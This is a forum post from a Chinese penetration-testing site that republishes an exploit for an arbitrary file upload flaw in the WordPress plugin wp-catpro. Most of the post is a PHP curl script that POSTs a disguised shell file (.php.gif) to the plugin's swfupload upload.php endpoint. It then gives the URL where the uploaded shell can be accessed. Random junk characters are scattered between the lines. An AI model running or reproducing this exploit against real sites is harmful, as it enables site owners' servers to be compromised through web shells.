中国网络渗透测试联盟
标题:
WordPress插件wp-catpro任意文件上传
[打印本页]
作者:
admin
时间:
2013-2-27 20:12
标题:
WordPress插件wp-catpro任意文件上传
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
. n" X6 D7 [5 R, e
#-----------------------------------------------------------------------
8 s) G X; o9 z6 P6 S6 J, `8 J1 a
9 r4 D+ c+ v/ x: {& E8 R N, u
作者 => Zikou-16
6 M% T/ _$ Q: H8 V( E
邮箱 =>
zikou16x@gmail.com
8 ]8 ~4 r: V1 u2 ~1 V A# G; t
测试系统 : Windows 7 , Backtrack 5r3
- E: A l- M9 B* \0 f
下载地址 :
http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
! k) i$ f) r4 v; L! `4 c
####
- }# R; T) G3 t: Z; U# u q1 J
0 d x( }* ?, _4 P8 c" v+ z
#=> Exploit 信息:
. }/ M: d* k. U g+ T" ?
------------------
6 F* ^) i; }8 o/ p
# 攻击者可以上传 file/shell.php.gif
. Z/ f% }) C5 \+ r8 n
# ("jpg", "gif", "png") // Allowed file extensions
) b( N* q- K8 u$ `0 V
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
) W: \: g" ^2 j+ I9 b0 X2 \
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
% W2 X6 T$ R8 Y; S5 Q- t
------------------
: A3 g5 p% D" c5 k1 P- M, f: r6 U
3 \, O3 Q, ^! i3 V. |% E8 C1 R
#=> Exploit
! f/ ]5 q& T% d4 p5 h0 Q
-----------
+ G' |) @1 P) Q. f" p5 Y
<?php
( T u4 v; q! K: ^& _( g( ?8 n& q: T
% Z8 `4 S9 Y) b7 h
$uploadfile="zik.php.gif";
% s* F0 r- R6 N0 l, L
$ch = curl_init("http://[
www.2cto.com
]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
% V1 F0 q+ g% N0 G4 h2 N
curl_setopt($ch, CURLOPT_POST, true);
: v5 a; a- E$ J3 U/ n" q- S8 ^
curl_setopt($ch, CURLOPT_POSTFIELDS,
6 S0 D; q0 a% f c
array('Filedata'=>"@$uploadfile",
& ^* }# q& R* ^) F0 r
'folder'=>'/wp-content/uploads/catpro/'));
1 D5 \) x5 ~) }$ n; ]
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ d7 i a7 \$ }; `
$postResult = curl_exec($ch);
2 k( k7 B/ [! B1 }3 R) X" d* g
curl_close($ch);
2 _* C! C( W4 E! E5 p2 @4 R; g
& w% ^" J+ Z5 ]% Y2 i
print "$postResult";
: e7 O% C$ K b, Y# N5 U
5 B0 g. J8 \: I+ O) P+ u
Shell Access : http://[
www.xxx.com
]/[path]/wp-content/uploads/catpro/random_name.php.gif
& m# j2 A& u s
?>
3 U% v- P/ M; O, x
<?php
: ?; Z9 | \* h0 d$ b( _
phpinfo();
% C& B( w. ~8 k
?>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2